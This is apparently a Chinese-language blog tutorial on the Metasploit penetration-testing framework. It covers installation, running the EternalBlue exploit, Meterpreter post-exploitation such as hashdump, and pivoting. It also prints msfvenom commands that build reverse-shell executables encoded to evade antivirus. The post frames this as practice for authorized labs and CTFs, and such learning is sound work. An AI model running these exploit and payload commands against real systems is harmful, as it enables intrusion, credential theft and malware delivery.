Metasploit

> Metasploit — 渗透测试框架,集漏洞利用、载荷生成与后渗透于一体,红队必备瑞士军刀。 兄弟们,今天聊点硬核的。如果你搞安全、搞渗透、或者只是对黑客技术有点好奇,那你肯定绕不开一个名字——**Metasploit**。这玩意儿在安全圈的地位,基本相当于手机界的iPhone、汽车界的丰田陆巡,不是唯一选择,但绝对是大多数人入坑和实战的首选。 我第一次接触它的时候还在上大学,当时觉得这玩意儿就是个“傻瓜式黑客工具”,敲几个命令就能拿shell,太没技术含量了。后来真正深入用才发现,**它的强大不在于“一键攻击”,而在于它把整个渗透测试的流程标准化、模块化了**。你不需要每次遇到一个漏洞就手动写exploit,Metasploit帮你把“找漏洞、打漏洞、拿权限、留后门”这条链路全打通了。 --- ### 它到底解决什么问题? 简单说,**它解决的是“从0到1”的效率问题**。假设你发现目标机器上有个SMB漏洞,但你手头没有现成的利用代码,你得去GitHub翻、去Exploit-DB找、还要编译、还要适配环境……这一套下来可能半天就没了。但Metasploit里,你只需要 `search smb`,找到对应的模块,`use` 一下,设置几个参数,`run`。完事。 它内置了**上千个漏洞利用模块(Exploit)**、**几百个载荷(Payload)** 和**一大堆辅助模块(Auxiliary)**,比如扫描器、爆破器、抓包工具。你不需要重复造轮子,只需要知道该用哪个轮子,以及怎么把轮子装上。 另外,它还解决了**后渗透**的问题。拿到一个Meterpreter会话之后,你可以直接提权、抓密码、截屏、键盘记录、内网穿透……这些操作在传统方式下可能需要你上传一堆工具,但在Metasploit里都是内置命令,一个 `hashdump` 就搞定。 --- ### 下载与安装 官网在这里:**[Metasploit 官方网站](https://www.metasploit.com/)** ,别下错了,认准Rapid7家的。 安装方式分三种,我按推荐程度排序: 1. **Kali Linux 自带**(最省事) 如果你用Kali,那已经预装好了,直接终端敲 `msfconsole` 就能进。没有的话,`sudo apt update && sudo apt install metasploit-framework`。 2. **官方一键安装脚本**(适合Linux/macOS) 在终端执行: ```bash curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate ``` 下载脚本后,`chmod +x msfupdate && sudo ./msfupdate`。它会自动帮你装好依赖和数据库。 3. **Windows 安装包** 去官网下载 `.exe` 安装包,双击下一步下一步就行。但说实话,Windows下用Metasploit体验一般,很多工具链是Linux原生的,建议用WSL2或者直接上虚拟机。 装完之后,终端输入 `msfconsole`,看到那个经典的ASCII艺术字Banner,就说明成功了。 --- ### 基础使用教程(新手必看) 进到 `msfconsole` 这个交互界面后,别慌,记住这几个核心命令,你就入门了。 **第一步:搜索模块** ```bash msf6 > search type:exploit ms17-010 ``` 这条命令会搜索永恒之蓝的利用模块。`type:exploit` 限定类型,后面是关键词。 **第二步:选用模块** ```bash msf6 > use exploit/windows/smb/ms17_010_eternalblue ``` 看到 `msf6 exploit(...) >` 提示符变了,说明你已经在模块上下文里了。 **第三步:查看必填参数** ```bash msf6 exploit(...) > show options ``` 这里会列出所有需要设置的选项,带 `Required: yes` 的是必填。比如 `RHOSTS`(目标IP)、`LHOST`(你的IP)、`LPORT`(你监听的端口)。 **第四步:设置参数** ```bash msf6 exploit(...) > set RHOSTS 192.168.1.10 msf6 exploit(...) > set LHOST 192.168.1.100 msf6 exploit(...) > set LPORT 4444 ``` **第五步:跑起来** ```bash msf6 exploit(...) > run ``` 如果成功,你会看到 `Meterpreter session 1 opened` 之类的提示,然后你就进入了一个 `meterpreter >` 的会话。 **进入Meterpreter之后,常用命令:** - `sysinfo` — 查看系统信息 - `getuid` — 查看当前用户权限 - `shell` — 弹出一个系统原生命令行 - `download` / `upload` — 传文件 - `screenshot` — 截屏 --- ### 进阶技巧(老鸟经验) 基础会了,接下来才是拉开差距的地方。 **1. 用 `db_nmap` 联动数据库** 别用 `nmap` 扫完再手动填IP。先在msf里 `db_nmap -sV 192.168.1.0/24`,扫描结果会自动存入数据库。然后你直接 `hosts` 看主机列表,`services` 看端口服务,甚至 `vulns` 直接看匹配到的漏洞。扫完直接 `search` 对应漏洞模块,效率翻倍。 **2. 会话后台与复用** 拿到shell后,别傻乎乎地在那挂着。按 `Ctrl+Z` 把会话丢到后台,然后用 `sessions -l` 看列表,`sessions -i 1` 重新进入。如果你同时打了多台机器,可以 `sessions -c "hashdump"` 在所有会话里批量执行命令,方便横向移动。 **3. 用 `msfvenom` 生成免杀载荷** 这是很多人忽略的。`msfvenom` 是Metasploit的独立载荷生成器。比如你想生成一个Windows下的反弹shell: ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f exe -o shell.exe ``` 但这玩意儿直接扔给目标,杀软秒杀。进阶玩法是**编码**: ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell_encoded.exe ``` `-i 5` 表示编码5次,能过一些老牌杀软。但这只是入门,真正免杀得配合shellcode加载器、分离免杀之类的,那是另一个话题了。 **4. 内网穿透(Pivot)** 这是Metasploit最骚的地方。假设你拿下了A机器(外网),但内网还有B机器(不出网)。你在A的Meterpreter会话里,执行: ```bash meterpreter > run autoroute -s 10.10.10.0/24 ``` 然后你就相当于在A机器上搭了个代理,msf可以直连内网IP。接着 `search` 内网漏洞,直接打B机器。这种“跳板”操作,是红队内网渗透的核心。 **5. 自定义模块** Metasploit是Ruby写的,如果你会一点Ruby,可以自己写exploit模块。把脚本丢到 `~/.msf4/modules/exploits/` 目录下,重启msf就能加载。这玩意儿的可扩展性极强,几乎你能想到的协议都有对应的辅助模块。 --- ### 最后说点掏心窝的 Metasploit确实强大,但它不是“一键日站”的神器。**真正的价值在于你对漏洞原理的理解和对网络协议的把控**。工具只是把复杂流程简化了,但如果你不知道什么是SMB、不知道什么是反序列化漏洞,那你拿到工具也只能对着 `show options` 发呆。 另外,**一定要在合法授权下使用**。这玩意儿是双刃剑,你拿它打自己靶机、打CTF、做渗透测试项目,完全没问题。但碰未经授权的系统,那性质就变了。别让自己从“技术爱好者”变成“犯罪嫌疑人”。 好了,今天就聊到这儿。如果你刚入门,建议在本地搭个靶机(比如Metasploitable2),把这篇文章里的命令都敲一遍。等你能熟练打通一个靶机,你就会发现——这工具,真香。 有问题评论区见,看到会回。